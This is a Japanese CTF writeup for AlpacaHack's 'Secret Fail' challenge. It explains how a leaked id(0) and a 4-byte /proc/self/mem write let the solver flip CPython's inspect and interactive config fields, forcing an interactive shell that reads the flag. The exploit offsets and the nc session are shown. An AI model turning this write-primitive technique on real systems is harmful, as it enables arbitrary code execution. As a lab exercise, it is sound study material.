これは Daily AlpacaHack B-SIDE の 2026-05-16/19 の問題 Secret Fail の writeup です。
- socat で
python server.pyを公開している。 - Python は CPython 3.14.5 である。(Docker イメージ
python:3.14.5-slim-trixie@sha256:af79f947dee1c929919b0488d20db7200d8737e00f68ee4abeef1fcf1fe05939) secretがsecrets.token_hex(16)で生成される(32 文字の hex 文字列)。観測できない。guessの入力を求められる。32 文字でなければならない。- 次に
id(0)がヒントとして出力される。 - そしてオフセットと 4 バイト(hex 形式)を入力するように求められる。
/proc/self/memを開きオフセットの位置に seek し最大 4 バイトを書き込む。guessとsecretをzipを使って 1 文字ずつ比較し、すべて等しければフラグが出力される。(フラグはserver.py内の print 文に直接埋め込まれている)
Python の id 関数は引数の Python オブジェクトごとに割り当てられた整数値を返すが,とりわけ CPython の場合はそのオブジェクトが実際に存在するメモリアドレスを返す1。
CPython 3.14.5 では -5 から 256 までの小さい整数はシングルトンとしてあらかじめ生成され共有される。具体的には,Python オブジェクト 0 は struct _Py_static_objects 構造体の singletons.small_ints[5] にある。
Include/internal/pycore_runtime_structs.h#L116-L121:
/* Small integers are preallocated in this array so that they
* can be shared.
* The integers that are preallocated are those in the range
* -_PY_NSMALLNEGINTS (inclusive) to _PY_NSMALLPOSINTS (exclusive).
*/
PyLongObject small_ints[_PY_NSMALLNEGINTS + _PY_NSMALLPOSINTS];したがって, id(0) の値が分かれば,この struct _Py_static_objects 構造体と,さらにそれを含む struct pyruntimestate 構造体のアドレスが特定できる。
struct pyruntimestate 構造体には Python の実行時の状態に関するたくさんのデータが格納されている。今回の方針に関係するメンバーだけを抜き出して階層を示すと以下のようになっている:
struct pyruntimestate _PyRuntime;struct _Py_static_objects static_objects;struct {...} singletons;PyLongObject small_ints[_PY_NSMALLNEGINTS + _PY_NSMALLPOSINTS];id(0)==&_PyRuntime.static_objects.singletons.small_ints[5]
PyInterpreterState _main_interpreter;
思考ログ
id の公式ドキュメントを見ると CPython ではそのオブジェクトのメモリアドレスが返ることがわかった。
0 オブジェクトのアドレスが何を意味するのか知るために, 0 オブジェクトがどのように生成されるかを調べることにした。CPython ではソースコードをバイトコードに変換してそのバイトコードに対してインタプリタが動いていることを知っていたので,まず id(0) というコードに対してどのようなバイトコードが生成されるかを調べた。
>>> import dis
>>> def f(): id(0)
...
>>> dis.dis(f)
1 RESUME 0
LOAD_GLOBAL 1 (id + NULL)
LOAD_SMALL_INT 0
CALL 1
POP_TOP
LOAD_CONST 1 (None)
RETURN_VALUE
>>>0 が 2 箇所にあってややこしい。別の整数(99 とか)で同じことをしてみるとどうやら LOAD_SMALL_INT 命令のほうが関係ありそうだ。この命令の実装について CPython のソースコードを検索した。
replicate(4) inst(LOAD_SMALL_INT, (-- value)) {
assert(oparg < _PY_NSMALLPOSINTS);
PyObject *obj = (PyObject *)&_PyLong_SMALL_INTS[_PY_NSMALLNEGINTS + oparg];
value = PyStackRef_FromPyObjectImmortal(obj);
}謎のマクロ?になっているようだが,ここが LOAD_SMALL_INT 命令の実装っぽい雰囲気がする。オブジェクトを生成しているのではなく &_PyLong_SMALL_INTS[_PY_NSMALLNEGINTS + oparg] にすでにあるみたいだ。次に _PyLong_SMALL_INTS を検索した。
Include/internal/pycore_long.h#L59:
#define _PyLong_SMALL_INTS _Py_SINGLETON(small_ints)Include/internal/pycore_global_objects.h#L15-L18:
#define _Py_GLOBAL_OBJECT(NAME) \
_PyRuntime.static_objects.NAME
#define _Py_SINGLETON(NAME) \
_Py_GLOBAL_OBJECT(singletons.NAME)_PyLong_SMALL_INTS[_PY_NSMALLNEGINTS + oparg] は _PyRuntime.static_objects.singletons.small_ints[_PY_NSMALLNEGINTS + oparg] にマクロ展開されることが分かった。
_PyRuntime を検索してみると, _PyRuntimeState 型 = struct pyruntimestate 構造体の変数であることがわかった。
Include/internal/pycore_runtime.h#L19:
PyAPI_DATA(_PyRuntimeState) _PyRuntime;Include/internal/pycore_typedefs.h#L13:
typedef struct pyruntimestate _PyRuntimeState;この構造体の定義を見て _PyRuntime.static_objects.singletons.small_ints[_PY_NSMALLNEGINTS + oparg] が指すものを辿っていくことで,CPython では 0 オブジェクトが都度生成されるのではなくあらかじめ生成されることが理解できた。
/proc/self/mem は自プロセスのメモリを読み書きできる特殊なファイルである。このファイルを開いてアドレスの位置に seek して書き込むと,そのアドレスに対応するメモリの内容が書き換わる。今回の問題では,コメントにある通り任意アドレスに最大 4 バイトの任意の値を書き込める。
前段の分析から,struct pyruntimestate 構造体の内部のデータであればアドレスが分かっているので,狙い撃ちで 4 バイト書き込める。あとはどれに書き込むのがよいかを検討する。
実は _PyRuntime._main_interpreter.config にある inspect と interactive を両方とも 1 に書き換えると、Python を -i オプションを指定して起動したのと同じ状態になり、スクリプトが終了した時に Python の対話型シェルが起動するようになる。
-i オプションの処理:
Python/initconfig.c#L2959-L2962:
case 'i':
config->inspect++;
config->interactive++;
break;仮に guess と secret が等しいと判定されなくても,最後に対話型シェルが起動すれば,任意の Python コードを実行できるのでフラグを取得できる。
大まかな方針が定まったところで,今回の環境での &_PyRuntime.static_objects.singletons.small_ints[5] から &_PyRuntime._main_interpreter.config.inspect までのオフセットを計算する。
ソースコードを読んで,GDB で実際のメモリの中身と突き合わせて確認しながら間にあるメンバーとパディングのサイズを手で 1 つ 1 つ足し合わせた結果,84748 バイトだった。
(なお,手で頑張らなくても CPython のソースコードを手元に持ってきてビルドオプションを揃えたりしてなんやかんやすれば一発で求められそうな気もする。しらんけど。)
注意:オフセットの値は CPython のバージョンやアーキテクチャ,ビルドオプションなどによって変わりうる。
-i オプションを指定した状態を再現するためには inspect と interactive(どちらも int 型,各 4 バイト)の両方の値を 1 に書き換える必要がある。しかし,今回メモリを書き換えられるのは最大 4 バイトである。
実際,inspect だけを書き換えてみると対話型シェルが起動しない。なぜなら socat のオプションに pty がついていないため,下記の処理で stdin_is_interactive(config) がゼロを返すからである。interactive も書き換えると stdin_is_interactive(config) が非ゼロを返すようになる。
終了時に inspect と interactive の値を参照している箇所:
if (!(config->inspect && stdin_is_interactive(config) && config_run_code(config))) {
return;
}/* Return non-zero if stdin is a TTY or if -i command line option is used */
static int
stdin_is_interactive(const PyConfig *config)
{
return (isatty(fileno(stdin)) || config->interactive);
}幸い,inspect と interactive は隣接しており,かつこの 2 つを参照している箇所は値がゼロか否かでしか分岐していないので,2 つのメンバーにまたがるように対象のアドレスを選んで 4 バイトを書き換えればよい。
inspect は id(0) + 84748〜id(0) + 84751 のアドレス範囲にあり,interactive は id(0) + 84752〜id(0) + 84755 のアドレス範囲にある。したがって,たとえば id(0) + 84750〜id(0) + 84753 の 4 バイトに ffffffff を書き込めば, inspect は 0xffff0000 に interactive は 0x0000ffff にそれぞれ書き換わり,両方とも非ゼロ値となる。
guessとして適当な 32 文字の文字列を入力する。id(0)をヒントとして受け取る。- オフセットとして 2. で得られた整数に 84748 + 2 を足した値を入力する。
- 4 バイト(hex 形式)として
ffffffffを入力する。 - Wrong... と出力されるが,終了後に Python の対話型シェルが起動する。
open("server.py").read()を実行してソースコードを得る。この中にフラグが埋め込まれている。
% nc localhost 1337
Secret: 12345678901234567890123456789012
Hint: id(0) = 140737478952272
Offset: 140737479037022
4-bytes (Hex): ffffffff
Wrong...
>>> open("server.py").read()
'import secrets\n\nsecret = secrets.token_hex(16)\nguess = input("Secret: ")\nassert len(secret) == len(guess)\n\n# arbitrary 4-bytes write to memory :)\nprint(f"Hint: {id(0) = }")\nmem = open("/proc/self/mem", "wb", buffering=0)\nmem.seek(int(input("Offset: ")))\nmem.write(bytes.fromhex(input("4-bytes (Hex): "))[:4])\n\nif any(a != b for a, b in zip(secret, guess)):\n print("Wrong...")\nelse:\n print("Correct! Flag is Alpaca{REDACTED}")\n'
>>> exit()
% Footnotes
-
https://docs.python.org/3.14/library/functions.html#id の CPython implementation detail を参照。 ↩